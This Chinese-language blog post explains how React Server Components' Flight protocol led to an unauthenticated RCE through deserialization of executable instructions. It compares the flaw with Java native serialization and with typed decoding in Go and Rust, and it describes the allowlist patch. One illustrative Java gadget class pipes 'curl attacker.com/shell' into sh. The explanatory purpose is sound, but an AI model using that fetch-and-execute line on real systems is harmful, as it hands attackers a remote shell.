我有一支技术全面、经验丰富的小型团队,专注高效交付中等规模外包项目,有需要外包项目的可以联系我
很长一段时间里,React 在安全圈几乎算"无害"。
它做的事很单纯:渲染 UI、操作 DOM。你要是写得够离谱,最多来个 XSS------烦人,但大多数时候还能救。
因为 React 没有你的数据库钥匙、没有你的文件系统权限、也不该碰你的服务端进程。
但这条"边界",悄悄消失了。
随着 React Server Components(RSC) 和 Next.js App Router 成为主流,React 不再只是前端框架------它成了一个后端运行时:跑在 Node.js 里、读数据库、摸环境变量、改服务端状态。
从那一刻开始,React 继承了后端软件的全部爆炸半径。
然后它转头就踩中了安全史上最老的一颗地雷之一:把网络里来的"可执行行为",当成可以反序列化的"数据"。
结果?未授权远程代码执行(RCE)。一次请求,不用登录,直接进服务器执行。属于框架级别最不能出的那种错。
要搞懂这事为什么会发生,你得先看清楚:React 到底"变了什么"。
当"数据"不再只是数据
经典 React 应用和服务器说话,一直很朴素:
go
// Browser
fetch("/api/user")
.then(res => res.json())
.then(user => setUser(user))
服务器端也很朴素:
go
app.get("/api/user", (req, res) => {
res.json({ id: 42, name: "Alice" })
})
浏览器发的是惰性数据 。 服务器解析的是惰性数据 。 线上跑来跑去的只是值。执行永远留在服务器端。
这条边界,才是旧时代 React "风险低"的根本原因。
但 React Server Components 把这套模式拆了。

它不再返回 JSON,而是流式返回一种内部协议(常被称为 "Flight"),里面携带的东西不只是"值",还包括:
-
渲染哪些组件
-
模块怎么解析
-
哪些树节点要在服务端执行
-
流式过程中如何重建执行图(execution graph)
换句话说:网络线上传输的,开始像"指令"了。
概念上,服务器从:
network → parse JSON → fill struct → return HTML
变成了:
network → deserialize instructions → rebuild execution graph → execute
最后那个 "execute",就是 RCE 出生的产房。
反序列化"指令"为什么致命
反序列化数据,长这样:
go
// Go
var u User
json.Unmarshal(bytes, &u)
go
// Rust
let u: User = serde_json::from_slice(bytes)?;
它们共同点是:
-
类型(User)由程序决定
-
网络只提供字段值
-
数据不能触发方法
-
数据不能要求换一种类型
-
整体乏味、死板,但非常安全
然后你去看看 Java 曾经干过的"世纪级错误"。
Java 早就为这个错误买过十几年单
很多 Java 服务端里,曾经到处是这一行:
go
Object obj = new ObjectInputStream(socket.getInputStream()).readObject();
这行代码最可怕的不是它"读对象",而是------它没有目标类型。
JVM 处理方式是:
-
从网络读类名
-
从 classpath 加载该类
-
实例化
-
跑反序列化钩子(deserialization hooks)
等于网络数据在说:
"请你实例化这个类,并顺便执行它的反序列化代码。"
于是攻击者开始找"gadget class",比如这种(示意):
go
class Exploit {
private void readObject(ObjectInputStream in) {
Runtime.getRuntime().exec("curl attacker.com/shell | sh");
}
}
只要依赖树里出现过一个这样的"可组合链条",readObject() 就可能变成"给我一个 shell"。这类灾难级 RCE,撑起了企业安全圈好几年噩梦。
而 React RSC------在精神上,走回了同一条路。
React 是怎么一步步走进同一个坑的
Flight 的 payload 让服务器在架构上接近这样:
go
const instruction = deserialize(untrustedNetworkBytes)
execute(instruction)
当然实现细节不一定是这段代码,但数据流就是这个味道。
它不再是:
"这是组件要用的数据"
更像是:
"这是你该怎么重建执行图的一部分说明书"
当网络输入开始影响"执行结构"而不是只影响"字段值",你就回到了 Java 反序列化那片战场。
缺一个 allowlist。 少一道校验边界。 就够了。
"反序列化不是在服务端做的吗?为什么还会出事?"
因为危险的从来不是"反序列化"这个动作,而是:你反序列化成了什么。
这很安全:
go
JSON.parse('{ "count": 5 }')
这就很危险:
go
deserializeIntoExecutableInstructions(bytes)
当反序列化结果包含:
-
函数引用
-
模块加载逻辑
-
可执行树/执行图
你就不是在"解码数据"。 你是在"解码行为"。
而把行为从网络里解出来,是攻击者最喜欢的捷径。
为什么 Go / Rust 很少撞上这类 RCE
拿 Go 举例:
go
type Config struct {
Port int
}
var cfg Config
json.Unmarshal(input, &cfg)
攻击者最多影响:
cfg.Port
攻击者不能影响:
-
实例化哪个 struct
-
解码时跑哪个函数
-
解码过程中执行什么钩子
Rust 同理:
go
#[derive(Deserialize)]
struct Config {
port: u16,
}
let cfg: Config = serde_json::from_slice(input)?;
关键边界永远是:类型由程序选,网络只能填值。
而 Java 原生序列化、以及 React RSC 的漏洞路径,都是跨过了这条线:让网络"碰到了执行结构"。
React 为什么会犯这种错

原因很现实,也很熟悉:
-
**把 Flight 当成"私有协议"**他们默认"只有可信的 React 客户端才会说这种协议"。可一旦它暴露在 HTTP 上,攻击者只关心一点:我能不能给它喂字节。
-
为开发体验猛踩油门为了流式渲染、缓存、自动 revalidate、server actions、写一次到处跑,他们做了强耦合的执行管线。跨层魔法越多,验证边界越容易漏。
-
React 现在管的层太多了UI、后端执行、传输、序列化、缓存、路由......当一个抽象掌握这么大表面积,验证失误就不再是"局部 bug",而是生态事故。
-
Next.js 把它做成默认海量应用在没有"明确意识到自己暴露了 React 专用执行协议"的情况下,把这套模型推到了公网。([Vercel][2])
一个 bug,全网共振。
补丁到底改了什么
补丁前,模型几乎等于:
deserialize → execute
补丁后,变成:
deserialize → validate (strict allowlist) → execute
不再允许动态模块解析。
不再允许任意指令图。
不再允许"行为从线上直达执行"。
这本质上就是:React 被迫补上了 Java 用十几年痛苦换来的那套防线。
真正的教训
这事和 JavaScript 本身没关系。 也和 React 语法没关系。
它就是那句所有系统工程师迟早都要背会的老话:
不可信字节,永远不该决定执行。
Java 在 2000s 学过一次。
PHP 在 unserialize 上学过一次。
Python 在 pickle 上学过一次。
React 在 2025,又学了一次。
时代不同,地雷同款。

最近
React 不是因为"前端框架"而被烧伤的。 它是因为自己悄悄变成了后端运行时,却忘了把后端该有的安全纪律一起搬过来。
历史对这种故事的结局,向来非常一致。
全栈AI·探索:涵盖动效、React Hooks、Vue 技巧、LLM 应用、Python 脚本等专栏,案例驱动实战学习,点击二维码了解更多详情。

最后: